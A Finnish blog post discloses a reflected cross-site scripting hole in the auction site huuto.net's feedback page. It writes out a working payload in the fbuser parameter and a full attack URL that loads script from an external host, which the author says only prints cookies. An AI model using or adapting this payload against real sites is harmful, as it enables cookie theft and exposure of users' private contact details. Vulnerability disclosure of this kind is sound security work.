Tag Archive for 'huutonet'

Huuto.netissä XSS-haavoittuvuus

Suositulla huuto.net-nettihuutokauppasivustolla on ainakin yksi vakavanlaatuinen cross-site scripting -haavoittuvuus, jota hyväksikäyttämällä vihamielinen käyttäjä voi – huijaamalla käyttäjän klikkaamaan muodostamaansa linkkiä – varastaa sivun käyttäjien evästeitä.

Suoranaista välitöntä vaaraa haavoittuvuudesta ei ole, koska Huuto.net fiksusti vaatii tarjouksia tehdessä ja käyttäjän tietoja muokatessa aina salasanan, mutta esimerkiksi käyttäjän osoite- ja muiden muuten salaisten yhteystietojen selaus onnistuu käyttäjän salasanaa tuntematta

Haavoittuvuus on tiedostossa /fi/showfeedback.php3, joka listaa pyydetyn käyttäjän saaman huutokauppapalautteen. Haluttu käyttäjä lähetetään skriptille GET muuttujassa fbuser. Muuttujalle ei ilmeisesti tehdä minkäänlaista suodatusta, lukuunottamatta (oman veikkaukseni mukaan automaattista) PHP:n addslashes:ia. Käytännössä addslashes estää lainausmerkkien käyttämisen XSS-urlissa, mutta tämä ei muodosta kovinkaan suurta ongelmaa, koska hyökkääjän täytyy ainoastaan saada sivu linkkaamaan ulkoiseen javascript-tiedostoon.
Käytännössä tämä onnistuu käyttämällä osin rikkinäistä HTML:ää, ja asettamalla fbuser-muuttujana vaikkapa ‘<script src=http://domain.com/script.js></script>’. Tämä on kuitenkin tarpeettoman pitkä tapa, ja optimointiin on vielä varaa. Ensinnäkin, script-tagin sulkutag on täysin turha, samoin kuin itse tagin lopettava suurempikuin-merkki. Suurimassa osassa moderneista selaimista, selain käsittelee Quirks Modessa ‘<script src=osoite’-muotoisen script-tagin onnistuneesti.

Nyt XSS on siis muotoa ‘fbuser=<script src=http://domain.com/script.js’. protokolla-merkinnästä voidaan tuoreilla selaimilla jättää itse protokollan nimi ja kaksoispiste pois, ja tagi toimii edelleen normaalisti (Quirks Modessa).
Nyt siis URL on muotoa ‘huuto.net/fi/showfeedback.php3?fbuser=<script src=//domain.com/script.js’.

Proof-of-concept löytyy osoitteesta http://xi7.org/t.js. Käytännössä koodia käytettäisiin seuraavasti: http://www.huuto.net/fi/showfeedback.php3?fbuser=%3Cscript%20src=//xi7.org/t.js. Koodi ei varasta käyttäjien evästeitä, ainoastaan tulostaa ne, ja lyhyen selostuksen haavoittuvuudesta.